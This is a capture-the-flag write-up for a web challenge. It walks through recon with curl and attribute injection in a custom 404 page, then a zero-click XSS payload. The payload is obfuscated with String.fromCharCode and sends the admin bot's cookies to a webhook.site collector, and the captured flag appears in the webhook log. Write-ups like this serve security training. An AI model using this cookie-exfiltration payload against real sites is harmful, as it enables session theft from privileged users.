Pokédex Network
http://34.126.187.50:5508/Web Exploitation500Hardhack10{flag_here}1. Challenge Overview
The target exposed a Spring-based frontend and an Express-based /report/ bot. The challenge text strongly suggested an admin-review flow, so the goal was to find a same-origin client-side injection that the admin bot would load with privileged cookies and then exfiltrate the flag.
The intended path was a custom HTML error page on the main app. That page reflected the requested URI into an anchor tag without escaping single quotes, which made it possible to inject new attributes into the Retry Command link and obtain zero-click XSS using autofocus + onfocus.
2. Initial Reconnaissance
The first step was to confirm the visible application surface and identify the report endpoint.
1$ curl -i -sS http://34.126.187.50:5508/2HTTP/1.1 200 3Server: nginx/1.29.74Date: Fri, 27 Mar 2026 21:12:18 GMT5Content-Type: text/html;charset=UTF-86Content-Length: 44497Connection: keep-alive8Set-Cookie: JSESSIONID=F7D91FEFDF0EFC472D9B3FCC47B2FC4D; Path=/; HttpOnly9X-Content-Type-Options: nosniff10X-XSS-Protection: 1; mode=block11Cache-Control: no-cache, no-store, max-age=0, must-revalidate12Pragma: no-cache13Expires: 014X-Frame-Options: DENY15Content-Security-Policy: default-src https://unpkg.com https://cdn.tailwindcss.com 'unsafe-eval' 'unsafe-inline' 'self'; object-src 'none';16Content-Language: en-US17<!DOCTYPE html>18<html lang="en">19...1$ curl -i -sS http://34.126.187.50:5508/report/2HTTP/1.1 200 OK3Server: nginx/1.29.74Date: Fri, 27 Mar 2026 21:12:46 GMT5Content-Type: text/html; charset=utf-86Content-Length: 47627Connection: keep-alive8X-Powered-By: Express9ETag: W/"129a-OjuRRCY+NkdqrghRqyaQ7lfsj6I"10<!DOCTYPE html>11<html lang="en">12...13<p class="text-gray-500 text-sm mb-6">Submit suspicious URLs for automated analysis.</p>14...The report endpoint immediately revealed an internal-host-only regex restriction:
1$ for u in 'http://example.com' 'http://127.0.0.1/' 'http://34.126.187.50:5508/'; do printf '\\n=== %s ===\\n' "$u"; curl -i -sS -X POST http://34.126.187.50:5508/report/ --data-urlencode "url=$u"; done2=== http://example.com ===3HTTP/1.1 422 Unprocessable Entity4Server: nginx/1.29.75...6{"error":"URL din't match this regex format ^http://app:8080/.*$"}7=== http://127.0.0.1/ ===8HTTP/1.1 422 Unprocessable Entity9Server: nginx/1.29.710...11{"error":"URL din't match this regex format ^http://app:8080/.*$"}12=== http://34.126.187.50:5508/ ===13HTTP/1.1 422 Unprocessable Entity14Server: nginx/1.29.715...16{"error":"URL din't match this regex format ^http://app:8080/.*$"}The next important recon step was forcing HTML error rendering with a browser-like Accept header:
1$ curl -i -sS -H 'Accept: text/html' http://34.126.187.50:5508/blog2HTTP/1.1 404 3Server: nginx/1.29.74Date: Fri, 27 Mar 2026 21:16:53 GMT5Content-Type: text/html;charset=UTF-86Content-Length: 20667Connection: keep-alive8X-Content-Type-Options: nosniff9X-XSS-Protection: 1; mode=block10Cache-Control: no-cache, no-store, max-age=0, must-revalidate11Pragma: no-cache12Expires: 013X-Frame-Options: DENY14Content-Security-Policy: default-src https://unpkg.com https://cdn.tailwindcss.com 'unsafe-eval' 'unsafe-inline' 'self'; object-src 'none';15Set-Cookie: JSESSIONID=DE302B451C4CE056522B6E0FEC90E770; Path=/; HttpOnly16Content-Language: en-US17<!DOCTYPE html>18<html lang="en">19...20<div class="mt-6 text-gray-400 text-sm">21 <span class="text-gray-600">> </span>Trace URI: <span class="text-yellow-500">/blog</span>22</div>23<div class="mt-8 pt-6 border-t border-zinc-800">24 <a href='/blog' class='text-red-500 hover:text-red-400 hover:underline mr-4 text-sm font-bold'>Retry Command</a>25 <a href='/' class='text-gray-500 hover:text-gray-300 hover:underline text-sm'>[ Return to Safe Mode ]</a>26</div>27...3. Analysis / Forensics Path
The key observation was that the custom HTML error page reflected the request URI directly into a quoted href attribute:
1<a href='/blog' class='text-red-500 ...'>Retry Command</a>Injecting a raw single quote into the path broke the attribute boundary:
1$ curl -i -g -sS -H 'Accept: text/html' "http://34.126.187.50:5508/'test"2...3<a href='/'test' class='text-red-500 hover:text-red-400 hover:underline mr-4 text-sm font-bold'>Retry Command</a>4...That confirmed attribute injection. The next question was whether malformed slash-separated attributes would be parsed as real DOM attributes by a browser/parser:
1$ python3 - <<'PY'2from html.parser import HTMLParser3html="<a href='/'/onclick='alert(1)' class='x'>Retry</a>"4class P(HTMLParser):5 def handle_starttag(self, tag, attrs):6 print(tag, attrs)7P().feed(html)8PY9a [('href', '/'), ('onclick', 'alert(1)'), ('class', 'x')]That meant the following reflected fragment would become real attributes in the browser:
1<a href='/'/autofocus/onfocus='PAYLOAD' class='...'>Retry Command</a>I then validated that autofocus on an anchor triggers onfocus in headless Chromium:
1$ chromium --headless --no-sandbox --disable-gpu --virtual-time-budget=2000 --dump-dom 'data:text/html,<html><body><a href=%27/%27 autofocus onfocus=%27document.body.innerHTML=%22FOCUSED%22%27>x</a></body></html>' 2>/dev/null23<html><head></head><body>FOCUSED</body></html>At that point the exploitation model was clear:
Use the error page for zero-click XSS.
Make the admin bot visit http://app:8080/<payload>.
Redirect the admin browser to a public collector with document.cookie.
Recover the flag from the leaked cookie.
4. Exploitation / Recovery
The exact command chain used to generate the payload, submit it to the admin bot, and recover the flag was:
1$ python3 - <<'PY'2url = 'https://webhook.site/1262be56-4236-4ceb-86c8-98bb942cc4ee?c='3codes = ','.join(str(ord(c)) for c in url)4payload = "/'/autofocus/onfocus='location=String.fromCharCode(" + codes + ")+encodeURIComponent(document.cookie)"5print(payload)6open('artifacts/payload_url.txt','w').write(payload+'\\n')7PY8/'/autofocus/onfocus='location=String.fromCharCode(104,116,116,112,115,58,47,47,119,101,98,104,111,111,107,46,115,105,116,101,47,49,50,54,50,98,101,53,54,45,52,50,51,54,45,52,99,101,98,45,56,54,99,56,45,57,56,98,98,57,52,50,99,99,52,101,101,63,99,61)+encodeURIComponent(document.cookie)9$ sleep 25; URL="http://app:8080$(python3 - <<'PY'10print(open('artifacts/payload_url.txt').read().strip())11PY12)"; printf '%s\\n' "$URL" | tee artifacts/37_submit_url.txt; curl -i -sS -X POST http://34.126.187.50:5508/report/ --data-urlencode "url=$URL" | tee artifacts/38_submit_response.txt13http://app:8080/'/autofocus/onfocus='location=String.fromCharCode(104,116,116,112,115,58,47,47,119,101,98,104,111,111,107,46,115,105,116,101,47,49,50,54,50,98,101,53,54,45,52,50,51,54,45,52,99,101,98,45,56,54,99,56,45,57,56,98,98,57,52,50,99,99,52,101,101,63,99,61)+encodeURIComponent(document.cookie)14HTTP/1.1 200 OK15Server: nginx/1.29.716Date: Fri, 27 Mar 2026 21:23:12 GMT17Content-Type: application/json; charset=utf-818Content-Length: 4919Connection: keep-alive20X-Powered-By: Express21X-RateLimit-Limit: 522X-RateLimit-Remaining: 423X-RateLimit-Reset: 177464659724ETag: W/"31-f+H7RIglst2wqxo+x8oJvgkFcGg"25{"success":"Admin successfully visited the URL."}26$ curl -sS -H 'Accept: application/json' https://webhook.site/token/1262be56-4236-4ceb-86c8-98bb942cc4ee/requests27{"data":[{"uuid":"6e4f64cd-bb9b-42c7-876a-68c7971619cf","type":"web","token_id":"1262be56-4236-4ceb-86c8-98bb942cc4ee","team_id":null,"ip":"113.211.214.196","country":"Malaysia","country_code":"MY","region":"Selangor","city":"Shah Alam","hostname":"webhook.site","method":"GET","user_agent":"curl/8.19.0","content":"","query":null,"headers":{"accept":["*/*"],"user-agent":["curl/8.19.0"],"host":["webhook.site"]},"url":"https://webhook.site/1262be56-4236-4ceb-86c8-98bb942cc4ee","size":0,"files":[],"created_at":"2026-03-27 21:21:07","updated_at":"2026-03-27 21:21:07","sorting":1774646467420459,"custom_action_output":[],"custom_action_errors":[],"time":0.001371145248413086},{"uuid":"4643d334-a0ee-4cbf-8d08-e3554d5e5860","type":"web","token_id":"1262be56-4236-4ceb-86c8-98bb942cc4ee","team_id":null,"ip":"34.126.187.50","country":"Singapore","country_code":"SG","region":"Singapore","city":"Singapore","hostname":"webhook.site","method":"GET","user_agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/102.0.5005.182 Safari/537.36","content":"","query":{"c":"flag=hack10{d1d_y0u_gueXSS_1t?}"},"headers":{"accept-encoding":["gzip, deflate, br"],"referer":["http://app:8080/"],"sec-fetch-dest":["document"],"sec-fetch-mode":["navigate"],"sec-fetch-site":["cross-site"],"accept":["text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"],"user-agent":["Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/102.0.5005.182 Safari/537.36"],"upgrade-insecure-requests":["1"],"host":["webhook.site"]},"url":"https://webhook.site/1262be56-4236-4ceb-86c8-98bb942cc4ee?c=flag%3Dhack10%7Bd1d_y0u_gueXSS_1t%3F%7D","size":0,"files":[],"created_at":"2026-03-27 21:23:06","updated_at":"2026-03-27 21:23:06","sorting":1774646586322296,"custom_action_output":[],"custom_action_errors":[],"time":0.0011069774627685547}],"total":2,"per_page":50,"current_page":1,"is_last_page":true,"from":1,"to":2}The recovered cookie value contained the flag directly:
1flag=hack10{d1d_y0u_gueXSS_1t?}5. Flag
6. Summary of Approach & Key Takeaways
Recon identified two distinct components: a Spring frontend and an Express admin-report bot.
The report bot only accepted URLs matching ^http://app:8080/.*$, so the attack had to stay same-origin to the internal app.
Browser-style Accept: text/html requests revealed a custom error page that reflected the path into an anchor href.
A raw single quote in the path broke the anchor attribute boundary, creating attribute injection.
Slash-separated malformed attributes were parsed as real DOM attributes, enabling autofocus + onfocus.
The XSS payload redirected the privileged admin browser to Webhook.site with document.cookie.
The admin bot leaked flag=hack10{d1d_y0u_gueXSS_1t?}, which yielded the final flag.
Custom error pages are often softer targets than the primary application routes.
For reflected HTML issues, always compare curl API responses with browser-like Accept: text/html behavior.
Malformed HTML parsing rules matter. Slash-separated attributes can turn an apparently broken tag into real executable attributes.
When CSP blocks arbitrary fetch, top-level navigation remains a strong exfiltration fallback.